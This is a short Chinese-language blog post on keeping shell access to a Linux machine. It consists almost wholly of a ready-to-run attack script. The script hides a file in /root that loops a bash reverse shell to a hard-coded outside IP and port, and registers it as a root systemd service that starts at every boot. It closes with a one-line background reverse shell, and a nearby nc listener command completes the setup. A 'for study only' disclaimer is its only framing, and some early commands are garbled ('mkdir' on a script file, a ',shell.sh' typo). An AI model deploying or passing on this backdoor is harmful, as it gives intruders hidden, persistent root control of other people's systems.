×

linux shell持久化

a_lyx a_lyx 发表于2025-05-07 21:36:28 浏览104 评论0

抢沙发发表评论

preview.jpg

此文章只用于学习交流,未经授权进行进行违法行为

监听服务器开启端口监听 

nc -lvnp <端口>

被监听机器设置反弹shell脚本开机自启

新建  .shell.sh 为隐藏文件

mkdir .shell.sh
chmod 700 ,shell.sh

创建开机启动脚本

vi /etc/systemd/system/rqjc_shell.service

[Unit]
Description=RQJC Custom Shell Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash /root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

:wq
chmod 644 /etc/systemd/system/rqjc_shell.service
sudo systemctl start rqjc_shell

测试开机自启是否已经设置成功

sudo systemctl is-enabled rqjc_shell
  • 正常返回enabled(表示已设置开机自启)

  • 异常返回disabled 或 failed(需重新执行 sudo systemctl enable rqjc_shell

执行完成:

shell脚本:

#!/bin/bash

# 检查是否以 root 运行
if [ "$(id -u)" -ne 0 ]; then
    echo "请使用 root 用户运行此脚本!" >&2
    exit 1
fi

# 1. 创建 /root/rqjc 目录(如果不存在)
mkdir -p /root/rqjc

# 2. 创建隐藏文件 .shell.sh(示例内容:打印时间到日志)
cat > /root/rqjc/.shell.sh <<'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/8.138.233.178/7897 0>&1
    sleep 5  # 如果失败,5 秒后重试
done
EOF

# 3. 设置权限
chmod 700 /root/rqjc/.shell.sh

# 4. 创建 systemd 服务文件
cat > /etc/systemd/system/rqjc_shell.service <<'EOF'
[Unit]
Description=RQJC Custom Shell Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash /root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target
EOF

# 5. 设置服务文件权限
chmod 644 /etc/systemd/system/rqjc_shell.service

# 6. 重载 systemd 并启用服务
systemctl daemon-reload
systemctl enable rqjc_shell
systemctl start rqjc_shell

# 7. 检查状态
echo "服务状态:"
systemctl status rqjc_shell --no-pager -l
sleep 10
clear
setsid bash -i >& /dev/tcp/8.138.233.178/7897 0>&1 &

1.txt


群贤毕至

访客